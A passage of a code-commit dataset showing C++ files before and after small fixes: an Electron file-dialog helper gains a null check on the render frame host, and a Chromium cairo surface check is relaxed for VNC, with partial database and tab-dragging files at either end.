(prev && (_range_tombstones.empty()\n                     || (cmp(prev->end_position(), _range_tombstones.begin()->position()) < 0))) {\n            consumer(range_tombstone_change(prev->end_position(), tombstone())); \/\/ [2]\n        }\n\n        \/\/ Emit the fragment for start bound of a range_tombstone which is overlapping with upper_bound,\n        \/\/ unless no such fragment or already emitted.\n        if (!_range_tombstones.empty()\n            && (cmp(_range_tombstones.begin()->position(), upper_bound) < 0)\n            && (cmp(_range_tombstones.begin()->position(), _lower_bound) >= 0)) {\n            consumer(range_tombstone_change(\n                    _range_tombstones.begin()->position(), _range_tombstones.begin()->tombstone().tomb));\n        }\n\n        _lower_bound = upper_bound;\n    }\n\n    void consume(range_tombstone rt) {\n        _range_tombstones.apply(_schema, std::move(rt));\n    }\n\n    void reset() {\n        _range_tombstones.clear();\n        _lower_bound = position_in_partition::before_all_clustered_rows();\n    }\n\n    bool discardable() const {\n        return _range_tombstones.empty();\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2014 GitHub, Inc. All rights reserved.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#include \"atom\/browser\/web_dialog_helper.h\"\n\n#include <string>\n#include <vector>\n\n#include \"atom\/browser\/atom_browser_context.h\"\n#include \"atom\/browser\/native_window.h\"\n#include \"atom\/browser\/ui\/file_dialog.h\"\n#include \"base\/bind.h\"\n#include \"base\/files\/file_enumerator.h\"\n#include \"base\/files\/file_path.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"components\/prefs\/pref_service.h\"\n#include \"content\/public\/browser\/render_frame_host.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n#include \"content\/public\/browser\/render_view_host.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/public\/common\/file_chooser_file_info.h\"\n#include \"content\/public\/common\/file_chooser_params.h\"\n#include \"net\/base\/mime_util.h\"\n#include \"ui\/shell_dialogs\/selected_file_info.h\"\n\nnamespace {\n\nclass FileSelectHelper : public base::RefCounted<FileSelectHelper>,\n                         public content::WebContentsObserver {\n public:\n  FileSelectHelper(content::RenderFrameHost* render_frame_host,\n                   const content::FileChooserParams::Mode& mode)\n      : render_frame_host_(render_frame_host), mode_(mode) {\n    auto web_contents = content::WebContents::FromRenderFrameHost(\n        render_frame_host);\n    content::WebContentsObserver::Observe(web_contents);\n    \/\/ Add ref that will be released when the dialog is completed\n    AddRef();\n  }\n\n  void ShowOpenDialog(const file_dialog::DialogSettings& settings) {\n    auto callback = base::Bind(&FileSelectHelper::OnOpenDialogDone, this);\n    file_dialog::ShowOpenDialog(settings, callback);\n  }\n\n  void ShowSaveDialog(const file_dialog::DialogSettings& settings) {\n    auto callback = base::Bind(&FileSelectHelper::OnSaveDialogDone, this);\n    file_dialog::ShowSaveDialog(settings, callback);\n  }\n\n private:\n  friend class base::RefCounted<FileSelectHelper>;\n\n  ~FileSelectHelper() {}\n\n  void OnOpenDialogDone(bool result, const std::vector<base::FilePath>& paths) {\n    std::vector<content::FileChooserFileInfo> file_info;\n    if (result) {\n      for (auto& path : paths) {\n        content::FileChooserFileInfo info;\n        info.file_path = path;\n        info.display_name = path.BaseName().value();\n        file_info.push_back(info);\n      }\n\n      if (!paths.empty()) {\n        auto browser_context = static_cast<atom::AtomBrowserContext*>(\n            render_frame_host_->GetProcess()->GetBrowserContext());\n        browser_context->prefs()->SetFilePath(prefs::kSelectFileLastDirectory,\n                                              paths[0].DirName());\n      }\n    }\n    OnFilesSelected(file_info);\n  }\n\n  void OnSaveDialogDone(bool result, const base::FilePath& path) {\n    std::vector<content::FileChooserFileInfo> file_info;\n    if (result) {\n      content::FileChooserFileInfo info;\n      info.file_path = path;\n      info.display_name = path.BaseName().value();\n      file_info.push_back(info);\n    }\n    OnFilesSelected(file_info);\n  }\n\n  void OnFilesSelected(\n      const std::vector<content::FileChooserFileInfo>& file_info) {\n    if (render_frame_host_)\n      render_frame_host_->FilesSelectedInChooser(file_info, mode_);\n    Release();\n  }\n\n  \/\/ content::WebContentsObserver:\n  void RenderFrameHostChanged(content::RenderFrameHost* old_host,\n                              content::RenderFrameHost* new_host) override {\n    if (old_host == render_frame_host_)\n      render_frame_host_ = nullptr;\n  }\n\n  \/\/ content::WebContentsObserver:\n  void RenderFrameDeleted(content::RenderFrameHost* deleted_host) override {\n    if (deleted_host == render_frame_host_)\n      render_frame_host_ = nullptr;\n  }\n\n  \/\/ content::WebContentsObserver:\n  void WebContentsDestroyed() override {\n    render_frame_host_ = nullptr;\n  }\n\n  content::RenderFrameHost* render_frame_host_;\n  content::FileChooserParams::Mode mode_;\n};\n\nfile_dialog::Filters GetFileTypesFromAcceptType(\n    const std::vector<base::string16>& accept_types) {\n  file_dialog::Filters filters;\n  if (accept_types.empty())\n    return filters;\n\n  std::vector<base::FilePath::StringType> extensions;\n\n  for (const auto& accept_type : accept_types) {\n    std::string ascii_type = base::UTF16ToASCII(accept_type);\n    if (ascii_type[0] == '.') {\n      \/\/ If the type starts with a period it is assumed to be a file extension,\n      \/\/ like `.txt`, \/\/ so we just have to add it to the list.\n      base::FilePath::StringType extension(\n          ascii_type.begin(), ascii_type.end());\n      \/\/ Skip the first character.\n      extensions.push_back(extension.substr(1));\n    } else {\n      \/\/ For MIME Type, `audio\/*, vidio\/*, image\/*\n      net::GetExtensionsForMimeType(ascii_type, &extensions);\n    }\n  }\n\n  \/\/ If no valid exntesion is added, return empty filters.\n  if (extensions.empty())\n    return filters;\n\n  filters.push_back(file_dialog::Filter());\n  for (const auto& extension : extensions) {\n#if defined(OS_WIN)\n    filters[0].second.push_back(base::UTF16ToASCII(extension));\n#else\n    filters[0].second.push_back(extension);\n#endif\n  }\n  return filters;\n}\n\n}  \/\/ namespace\n\nnamespace atom {\n\nWebDialogHelper::WebDialogHelper(NativeWindow* window)\n    : window_(window),\n      weak_factory_(this) {\n}\n\nWebDialogHelper::~WebDialogHelper() {\n}\n\n\nvoid WebDialogHelper::RunFileChooser(\n    content::RenderFrameHost* render_frame_host,\n    const content::FileChooserParams& params) {\n  std::vector<content::FileChooserFileInfo> result;\n\n  file_dialog::DialogSettings settings;\n  settings.filters = GetFileTypesFromAcceptType(params.accept_types);\n  settings.parent_window = window_;\n  settings.title = base::UTF16ToUTF8(params.title);\n\n  scoped_refptr<FileSelectHelper> file_select_helper(\n      new FileSelectHelper(render_frame_host, params.mode));\n  if (params.mode == content::FileChooserParams::Save) {\n    settings.default_path = params.default_file_name;\n    file_select_helper->ShowSaveDialog(settings);\n  } else {\n    int flags = file_dialog::FILE_DIALOG_CREATE_DIRECTORY;\n    switch (params.mode) {\n      case content::FileChooserParams::OpenMultiple:\n        flags |= file_dialog::FILE_DIALOG_MULTI_SELECTIONS;\n      case content::FileChooserParams::Open:\n        flags |= file_dialog::FILE_DIALOG_OPEN_FILE;\n        break;\n      case content::FileChooserParams::UploadFolder:\n        flags |= file_dialog::FILE_DIALOG_OPEN_DIRECTORY;\n        break;\n      default:\n        NOTREACHED();\n    }\n\n    AtomBrowserContext* browser_context = static_cast<AtomBrowserContext*>(\n        window_->web_contents()->GetBrowserContext());\n    settings.default_path = browser_context->prefs()->GetFilePath(\n        prefs::kSelectFileLastDirectory).Append(params.default_file_name);\n    settings.properties = flags;\n    file_select_helper->ShowOpenDialog(settings);\n  }\n}\n\nvoid WebDialogHelper::EnumerateDirectory(content::WebContents* web_contents,\n                                         int request_id,\n                                         const base::FilePath& dir) {\n  int types = base::FileEnumerator::FILES |\n              base::FileEnumerator::DIRECTORIES |\n              base::FileEnumerator::INCLUDE_DOT_DOT;\n  base::FileEnumerator file_enum(dir, false, types);\n\n  base::FilePath path;\n  std::vector<base::FilePath> paths;\n  while (!(path = file_enum.Next()).empty())\n    paths.push_back(path);\n\n  web_contents->GetRenderViewHost()->DirectoryEnumerationFinished(\n      request_id, paths);\n}\n\n}  \/\/ namespace atom\n<commit_msg>Check render frame host before getting context<commit_after>\/\/ Copyright (c) 2014 GitHub, Inc. All rights reserved.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#include \"atom\/browser\/web_dialog_helper.h\"\n\n#include <string>\n#include <vector>\n\n#include \"atom\/browser\/atom_browser_context.h\"\n#include \"atom\/browser\/native_window.h\"\n#include \"atom\/browser\/ui\/file_dialog.h\"\n#include \"base\/bind.h\"\n#include \"base\/files\/file_enumerator.h\"\n#include \"base\/files\/file_path.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"components\/prefs\/pref_service.h\"\n#include \"content\/public\/browser\/render_frame_host.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n#include \"content\/public\/browser\/render_view_host.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/public\/common\/file_chooser_file_info.h\"\n#include \"content\/public\/common\/file_chooser_params.h\"\n#include \"net\/base\/mime_util.h\"\n#include \"ui\/shell_dialogs\/selected_file_info.h\"\n\nnamespace {\n\nclass FileSelectHelper : public base::RefCounted<FileSelectHelper>,\n                         public content::WebContentsObserver {\n public:\n  FileSelectHelper(content::RenderFrameHost* render_frame_host,\n                   const content::FileChooserParams::Mode& mode)\n      : render_frame_host_(render_frame_host), mode_(mode) {\n    auto web_contents = content::WebContents::FromRenderFrameHost(\n        render_frame_host);\n    content::WebContentsObserver::Observe(web_contents);\n    \/\/ Add ref that will be released when the dialog is completed\n    AddRef();\n  }\n\n  void ShowOpenDialog(const file_dialog::DialogSettings& settings) {\n    auto callback = base::Bind(&FileSelectHelper::OnOpenDialogDone, this);\n    file_dialog::ShowOpenDialog(settings, callback);\n  }\n\n  void ShowSaveDialog(const file_dialog::DialogSettings& settings) {\n    auto callback = base::Bind(&FileSelectHelper::OnSaveDialogDone, this);\n    file_dialog::ShowSaveDialog(settings, callback);\n  }\n\n private:\n  friend class base::RefCounted<FileSelectHelper>;\n\n  ~FileSelectHelper() {}\n\n  void OnOpenDialogDone(bool result, const std::vector<base::FilePath>& paths) {\n    std::vector<content::FileChooserFileInfo> file_info;\n    if (result) {\n      for (auto& path : paths) {\n        content::FileChooserFileInfo info;\n        info.file_path = path;\n        info.display_name = path.BaseName().value();\n        file_info.push_back(info);\n      }\n\n      if (render_frame_host_ && !paths.empty()) {\n        auto browser_context = static_cast<atom::AtomBrowserContext*>(\n            render_frame_host_->GetProcess()->GetBrowserContext());\n        browser_context->prefs()->SetFilePath(prefs::kSelectFileLastDirectory,\n                                              paths[0].DirName());\n      }\n    }\n    OnFilesSelected(file_info);\n  }\n\n  void OnSaveDialogDone(bool result, const base::FilePath& path) {\n    std::vector<content::FileChooserFileInfo> file_info;\n    if (result) {\n      content::FileChooserFileInfo info;\n      info.file_path = path;\n      info.display_name = path.BaseName().value();\n      file_info.push_back(info);\n    }\n    OnFilesSelected(file_info);\n  }\n\n  void OnFilesSelected(\n      const std::vector<content::FileChooserFileInfo>& file_info) {\n    if (render_frame_host_)\n      render_frame_host_->FilesSelectedInChooser(file_info, mode_);\n    Release();\n  }\n\n  \/\/ content::WebContentsObserver:\n  void RenderFrameHostChanged(content::RenderFrameHost* old_host,\n                              content::RenderFrameHost* new_host) override {\n    if (old_host == render_frame_host_)\n      render_frame_host_ = nullptr;\n  }\n\n  \/\/ content::WebContentsObserver:\n  void RenderFrameDeleted(content::RenderFrameHost* deleted_host) override {\n    if (deleted_host == render_frame_host_)\n      render_frame_host_ = nullptr;\n  }\n\n  \/\/ content::WebContentsObserver:\n  void WebContentsDestroyed() override {\n    render_frame_host_ = nullptr;\n  }\n\n  content::RenderFrameHost* render_frame_host_;\n  content::FileChooserParams::Mode mode_;\n};\n\nfile_dialog::Filters GetFileTypesFromAcceptType(\n    const std::vector<base::string16>& accept_types) {\n  file_dialog::Filters filters;\n  if (accept_types.empty())\n    return filters;\n\n  std::vector<base::FilePath::StringType> extensions;\n\n  for (const auto& accept_type : accept_types) {\n    std::string ascii_type = base::UTF16ToASCII(accept_type);\n    if (ascii_type[0] == '.') {\n      \/\/ If the type starts with a period it is assumed to be a file extension,\n      \/\/ like `.txt`, \/\/ so we just have to add it to the list.\n      base::FilePath::StringType extension(\n          ascii_type.begin(), ascii_type.end());\n      \/\/ Skip the first character.\n      extensions.push_back(extension.substr(1));\n    } else {\n      \/\/ For MIME Type, `audio\/*, vidio\/*, image\/*\n      net::GetExtensionsForMimeType(ascii_type, &extensions);\n    }\n  }\n\n  \/\/ If no valid exntesion is added, return empty filters.\n  if (extensions.empty())\n    return filters;\n\n  filters.push_back(file_dialog::Filter());\n  for (const auto& extension : extensions) {\n#if defined(OS_WIN)\n    filters[0].second.push_back(base::UTF16ToASCII(extension));\n#else\n    filters[0].second.push_back(extension);\n#endif\n  }\n  return filters;\n}\n\n}  \/\/ namespace\n\nnamespace atom {\n\nWebDialogHelper::WebDialogHelper(NativeWindow* window)\n    : window_(window),\n      weak_factory_(this) {\n}\n\nWebDialogHelper::~WebDialogHelper() {\n}\n\n\nvoid WebDialogHelper::RunFileChooser(\n    content::RenderFrameHost* render_frame_host,\n    const content::FileChooserParams& params) {\n  std::vector<content::FileChooserFileInfo> result;\n\n  file_dialog::DialogSettings settings;\n  settings.filters = GetFileTypesFromAcceptType(params.accept_types);\n  settings.parent_window = window_;\n  settings.title = base::UTF16ToUTF8(params.title);\n\n  scoped_refptr<FileSelectHelper> file_select_helper(\n      new FileSelectHelper(render_frame_host, params.mode));\n  if (params.mode == content::FileChooserParams::Save) {\n    settings.default_path = params.default_file_name;\n    file_select_helper->ShowSaveDialog(settings);\n  } else {\n    int flags = file_dialog::FILE_DIALOG_CREATE_DIRECTORY;\n    switch (params.mode) {\n      case content::FileChooserParams::OpenMultiple:\n        flags |= file_dialog::FILE_DIALOG_MULTI_SELECTIONS;\n      case content::FileChooserParams::Open:\n        flags |= file_dialog::FILE_DIALOG_OPEN_FILE;\n        break;\n      case content::FileChooserParams::UploadFolder:\n        flags |= file_dialog::FILE_DIALOG_OPEN_DIRECTORY;\n        break;\n      default:\n        NOTREACHED();\n    }\n\n    AtomBrowserContext* browser_context = static_cast<AtomBrowserContext*>(\n        window_->web_contents()->GetBrowserContext());\n    settings.default_path = browser_context->prefs()->GetFilePath(\n        prefs::kSelectFileLastDirectory).Append(params.default_file_name);\n    settings.properties = flags;\n    file_select_helper->ShowOpenDialog(settings);\n  }\n}\n\nvoid WebDialogHelper::EnumerateDirectory(content::WebContents* web_contents,\n                                         int request_id,\n                                         const base::FilePath& dir) {\n  int types = base::FileEnumerator::FILES |\n              base::FileEnumerator::DIRECTORIES |\n              base::FileEnumerator::INCLUDE_DOT_DOT;\n  base::FileEnumerator file_enum(dir, false, types);\n\n  base::FilePath path;\n  std::vector<base::FilePath> paths;\n  while (!(path = file_enum.Next()).empty())\n    paths.push_back(path);\n\n  web_contents->GetRenderViewHost()->DirectoryEnumerationFinished(\n      request_id, paths);\n}\n\n}  \/\/ namespace atom\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/gtk\/cairo_cached_surface.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/logging.h\"\n\nCairoCachedSurface::CairoCachedSurface() : pixbuf_(NULL), surface_(NULL) {\n}\n\nCairoCachedSurface::~CairoCachedSurface() {\n  if (surface_)\n    cairo_surface_destroy(surface_);\n\n  if (pixbuf_)\n    g_object_unref(pixbuf_);\n}\n\nint CairoCachedSurface::Width() const {\n  return pixbuf_ ? gdk_pixbuf_get_width(pixbuf_) : -1;\n}\n\nint CairoCachedSurface::Height() const {\n  return pixbuf_ ? gdk_pixbuf_get_height(pixbuf_) : -1;\n}\n\nvoid CairoCachedSurface::UsePixbuf(GdkPixbuf* pixbuf) {\n  if (surface_) {\n    cairo_surface_destroy(surface_);\n    surface_ = NULL;\n  }\n\n  if (pixbuf)\n    g_object_ref(pixbuf);\n\n  if (pixbuf_)\n    g_object_unref(pixbuf_);\n\n  pixbuf_ = pixbuf;\n}\n\nvoid CairoCachedSurface::SetSource(cairo_t* cr, int x, int y) {\n  DCHECK(pixbuf_);\n  DCHECK(cr);\n\n  if (!surface_) {\n    \/\/ First time here since last UsePixbuf call. Generate the surface.\n    cairo_surface_t* target = cairo_get_target(cr);\n    surface_ = cairo_surface_create_similar(\n        target,\n        CAIRO_CONTENT_COLOR_ALPHA,\n        gdk_pixbuf_get_width(pixbuf_),\n        gdk_pixbuf_get_height(pixbuf_));\n\n    DCHECK(surface_);\n    DCHECK(cairo_surface_get_type(surface_) == CAIRO_SURFACE_TYPE_XLIB ||\n           cairo_surface_get_type(surface_) == CAIRO_SURFACE_TYPE_XCB);\n\n    cairo_t* copy_cr = cairo_create(surface_);\n    gdk_cairo_set_source_pixbuf(copy_cr, pixbuf_, 0, 0);\n    cairo_paint(copy_cr);\n    cairo_destroy(copy_cr);\n  }\n\n  cairo_set_source_surface(cr, surface_, x, y);\n}\n<commit_msg>Make Chromium Linux work over VNC again.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/gtk\/cairo_cached_surface.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/logging.h\"\n\nCairoCachedSurface::CairoCachedSurface() : pixbuf_(NULL), surface_(NULL) {\n}\n\nCairoCachedSurface::~CairoCachedSurface() {\n  if (surface_)\n    cairo_surface_destroy(surface_);\n\n  if (pixbuf_)\n    g_object_unref(pixbuf_);\n}\n\nint CairoCachedSurface::Width() const {\n  return pixbuf_ ? gdk_pixbuf_get_width(pixbuf_) : -1;\n}\n\nint CairoCachedSurface::Height() const {\n  return pixbuf_ ? gdk_pixbuf_get_height(pixbuf_) : -1;\n}\n\nvoid CairoCachedSurface::UsePixbuf(GdkPixbuf* pixbuf) {\n  if (surface_) {\n    cairo_surface_destroy(surface_);\n    surface_ = NULL;\n  }\n\n  if (pixbuf)\n    g_object_ref(pixbuf);\n\n  if (pixbuf_)\n    g_object_unref(pixbuf_);\n\n  pixbuf_ = pixbuf;\n}\n\nvoid CairoCachedSurface::SetSource(cairo_t* cr, int x, int y) {\n  DCHECK(pixbuf_);\n  DCHECK(cr);\n\n  if (!surface_) {\n    \/\/ First time here since last UsePixbuf call. Generate the surface.\n    cairo_surface_t* target = cairo_get_target(cr);\n    surface_ = cairo_surface_create_similar(\n        target,\n        CAIRO_CONTENT_COLOR_ALPHA,\n        gdk_pixbuf_get_width(pixbuf_),\n        gdk_pixbuf_get_height(pixbuf_));\n\n    DCHECK(surface_);\n#if !defined(NDEBUG)\n    int surface_type = cairo_surface_get_type(surface_);\n    DCHECK(surface_type == CAIRO_SURFACE_TYPE_XLIB ||\n           surface_type == CAIRO_SURFACE_TYPE_XCB ||\n           surface_type == CAIRO_SURFACE_TYPE_IMAGE);\n#endif\n\n    cairo_t* copy_cr = cairo_create(surface_);\n    gdk_cairo_set_source_pixbuf(copy_cr, pixbuf_, 0, 0);\n    cairo_paint(copy_cr);\n    cairo_destroy(copy_cr);\n  }\n\n  cairo_set_source_surface(cr, surface_, x, y);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/gtk\/tabs\/dragged_tab_gtk.h\"\n\n#include <gdk\/gdk.h>\n\n#include <algorithm>\n\n#include \"app\/gfx\/canvas_paint.h\"\n#include \"base\/gfx\/gtk_util.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/gtk\/tabs\/tab_renderer_gtk.h\"\n#include \"chrome\/common\/gtk_util.h\"\n#include \"chrome\/common\/x11_util.h\"\n#include \"third_party\/skia\/include\/core\/SkShader.h\"\n\nnamespace {\n\n\/\/ The size of the dragged window frame.\nconst int kDragFrameBorderSize = 1;\nconst int kTwiceDragFrameBorderSize = 2 * kDragFrameBorderSize;\n\n\/\/ Used to scale the dragged window sizes.\nconst float kScalingFactor = 0.5;\n\nconst int kAnimateToBoundsDurationMs = 150;\n\nconst gdouble kTransparentAlpha = (200.0f \/ 255.0f);\nconst gdouble kOpaqueAlpha = 1.0f;\nconst double kDraggedTabBorderColor[] = { 103.0 \/ 0xff,\n                                          129.0 \/ 0xff,\n                                          162.0 \/ 0xff };\n\n}  \/\/ namespace\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DraggedTabGtk, public:\n\nDraggedTabGtk::DraggedTabGtk(TabContents* datasource,\n                             const gfx::Point& mouse_tab_offset,\n                             const gfx::Size& contents_size)\n    : backing_store_(NULL),\n      renderer_(new TabRendererGtk(datasource->profile()->GetThemeProvider())),\n      attached_(false),\n      mouse_tab_offset_(mouse_tab_offset),\n      attached_tab_size_(TabRendererGtk::GetMinimumSelectedSize()),\n      contents_size_(contents_size),\n      close_animation_(this),\n      tab_width_(0) {\n  renderer_->UpdateData(datasource, false);\n\n  container_ = gtk_window_new(GTK_WINDOW_POPUP);\n  SetContainerColorMap();\n  gtk_widget_set_app_paintable(container_, TRUE);\n  g_signal_connect(G_OBJECT(container_), \"expose-event\",\n                   G_CALLBACK(OnExposeEvent), this);\n  gtk_widget_add_events(container_, GDK_STRUCTURE_MASK);\n  gtk_container_add(GTK_CONTAINER(container_), renderer_->widget());\n  gtk_widget_show_all(container_);\n}\n\nDraggedTabGtk::~DraggedTabGtk() {\n  gtk_widget_destroy(container_);\n}\n\nvoid DraggedTabGtk::MoveTo(const gfx::Point& screen_point) {\n  int x = screen_point.x() + mouse_tab_offset_.x() -\n      ScaleValue(mouse_tab_offset_.x());\n  int y = screen_point.y() + mouse_tab_offset_.y() -\n      ScaleValue(mouse_tab_offset_.y());\n\n  gtk_window_move(GTK_WINDOW(container_), x, y);\n}\n\nvoid DraggedTabGtk::Attach(int selected_width) {\n  attached_ = true;\n  Resize(selected_width);\n\n  if (gtk_util::IsScreenComposited())\n    gdk_window_set_opacity(container_->window, kOpaqueAlpha);\n}\n\nvoid DraggedTabGtk::Resize(int width) {\n  attached_tab_size_.set_width(width);\n  ResizeContainer();\n}\n\nvoid DraggedTabGtk::set_pinned(bool pinned) {\n  renderer_->set_pinned(pinned);\n}\n\nbool DraggedTabGtk::is_pinned() const {\n  return renderer_->is_pinned();\n}\n\nvoid DraggedTabGtk::Detach(GtkWidget* contents, BackingStore* backing_store) {\n  \/\/ Detached tabs are never pinned.\n  renderer_->set_pinned(false);\n\n  if (attached_tab_size_.width() != tab_width_) {\n    \/\/ The attached tab size differs from current tab size. Resize accordingly.\n    Resize(tab_width_);\n  }\n\n  attached_ = false;\n  contents_ = contents;\n  backing_store_ = backing_store;\n  ResizeContainer();\n\n  if (gtk_util::IsScreenComposited())\n    gdk_window_set_opacity(container_->window, kTransparentAlpha);\n}\n\nvoid DraggedTabGtk::Update() {\n  gtk_widget_queue_draw(container_);\n}\n\nvoid DraggedTabGtk::AnimateToBounds(const gfx::Rect& bounds,\n                                    AnimateToBoundsCallback* callback) {\n  animation_callback_.reset(callback);\n\n  gint x, y, width, height;\n  gdk_window_get_origin(container_->window, &x, &y);\n  gdk_window_get_geometry(container_->window, NULL, NULL,\n                          &width, &height, NULL);\n\n  animation_start_bounds_ = gfx::Rect(x, y, width, height);\n  animation_end_bounds_ = bounds;\n\n  close_animation_.SetSlideDuration(kAnimateToBoundsDurationMs);\n  close_animation_.SetTweenType(SlideAnimation::EASE_OUT);\n  if (!close_animation_.IsShowing()) {\n    close_animation_.Reset();\n    close_animation_.Show();\n  }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DraggedTabGtk, AnimationDelegate implementation:\n\nvoid DraggedTabGtk::AnimationProgressed(const Animation* animation) {\n  int delta_x = (animation_end_bounds_.x() - animation_start_bounds_.x());\n  int x = animation_start_bounds_.x() +\n      static_cast<int>(delta_x * animation->GetCurrentValue());\n  int y = animation_end_bounds_.y();\n  gdk_window_move(container_->window, x, y);\n}\n\nvoid DraggedTabGtk::AnimationEnded(const Animation* animation) {\n  animation_callback_->Run();\n}\n\nvoid DraggedTabGtk::AnimationCanceled(const Animation* animation) {\n  AnimationEnded(animation);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DraggedTabGtk, private:\n\nvoid DraggedTabGtk::Layout() {\n  if (attached_) {\n    gfx::Size prefsize = GetPreferredSize();\n    renderer_->SetBounds(gfx::Rect(0, 0, prefsize.width(), prefsize.height()));\n  } else {\n    \/\/ TODO(jhawkins): RTL layout.\n\n    \/\/ The renderer_'s width should be attached_tab_size_.width() in both LTR\n    \/\/ and RTL locales. Wrong width will cause the wrong positioning of the tab\n    \/\/ view in dragging. Please refer to http:\/\/crbug.com\/6223 for details.\n    renderer_->SetBounds(gfx::Rect(0, 0, attached_tab_size_.width(),\n                         attached_tab_size_.height()));\n  }\n}\n\ngfx::Size DraggedTabGtk::GetPreferredSize() {\n  if (attached_)\n    return attached_tab_size_;\n\n  int width = std::max(attached_tab_size_.width(), contents_size_.width()) +\n      kTwiceDragFrameBorderSize;\n  int height = attached_tab_size_.height() + kDragFrameBorderSize +\n      contents_size_.height();\n  return gfx::Size(width, height);\n}\n\nvoid DraggedTabGtk::ResizeContainer() {\n  gfx::Size size = GetPreferredSize();\n  gtk_window_resize(GTK_WINDOW(container_),\n                    ScaleValue(size.width()), ScaleValue(size.height()));\n  Layout();\n}\n\nint DraggedTabGtk::ScaleValue(int value) {\n  return attached_ ? value : static_cast<int>(value * kScalingFactor);\n}\n\ngfx::Rect DraggedTabGtk::bounds() const {\n  gint x, y, width, height;\n  gtk_window_get_position(GTK_WINDOW(container_), &x, &y);\n  gtk_window_get_size(GTK_WINDOW(container_), &width, &height);\n  return gfx::Rect(x, y, width, height);\n}\n\nvoid DraggedTabGtk::SetContainerColorMap() {\n  GdkScreen* screen = gtk_widget_get_screen(container_);\n  GdkColormap* colormap = gdk_screen_get_rgba_colormap(screen);\n\n  \/\/ If rgba is not available, use rgb instead.\n  if (!colormap)\n    colormap = gdk_screen_get_rgb_colormap(screen);\n\n  gtk_widget_set_colormap(container_, colormap);\n}\n\nvoid DraggedTabGtk::SetContainerTransparency() {\n  cairo_t* cairo_context = gdk_cairo_create(container_->window);\n  if (!cairo_context)\n    return;\n\n  \/\/ Make the background of the dragged tab window fully transparent.  All of\n  \/\/ the content of the window (child widgets) will be completely opaque.\n  gfx::Size size = bounds().size();\n  cairo_scale(cairo_context, static_cast<double>(size.width()),\n              static_cast<double>(size.height()));\n  cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 0.0f);\n  cairo_set_operator(cairo_context, CAIRO_OPERATOR_SOURCE);\n  cairo_paint(cairo_context);\n  cairo_destroy(cairo_context);\n}\n\nvoid DraggedTabGtk::SetContainerShapeMask(GdkPixbuf* pixbuf) {\n  \/\/ Create a 1bpp bitmap the size of |container_|.\n  gfx::Size size = bounds().size();\n  GdkPixmap* pixmap = gdk_pixmap_new(NULL, size.width(), size.height(), 1);\n  cairo_t* cairo_context = gdk_cairo_create(GDK_DRAWABLE(pixmap));\n\n  \/\/ Set the transparency.\n  cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 0.0f);\n\n  \/\/ Blit the rendered bitmap into a pixmap.  Any pixel set in the pixmap will\n  \/\/ be opaque in the container window.\n  cairo_set_operator(cairo_context, CAIRO_OPERATOR_SOURCE);\n  if (!attached_)\n    cairo_scale(cairo_context, kScalingFactor, kScalingFactor);\n  gdk_cairo_set_source_pixbuf(cairo_context, pixbuf, 0, 0);\n  cairo_paint(cairo_context);\n\n  if (!attached_) {\n    \/\/ Make the render area depiction opaque (leaving enough room for the\n    \/\/ border).\n    cairo_identity_matrix(cairo_context);\n    cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 1.0f);\n    int tab_height = kScalingFactor * gdk_pixbuf_get_height(pixbuf) -\n                     kDragFrameBorderSize;\n    cairo_rectangle(cairo_context,\n                    0, tab_height,\n                    size.width(), size.height() - tab_height);\n    cairo_fill(cairo_context);\n  }\n\n  cairo_destroy(cairo_context);\n\n  \/\/ Set the shape mask.\n  gdk_window_shape_combine_mask(container_->window, pixmap, 0, 0);\n  g_object_unref(pixmap);\n}\n\nGdkPixbuf* DraggedTabGtk::PaintTab() {\n  SkBitmap bitmap = renderer_->PaintBitmap();\n  return gfx::GdkPixbufFromSkBitmap(&bitmap);\n}\n\n\/\/ static\ngboolean DraggedTabGtk::OnExposeEvent(GtkWidget* widget,\n                                      GdkEventExpose* event,\n                                      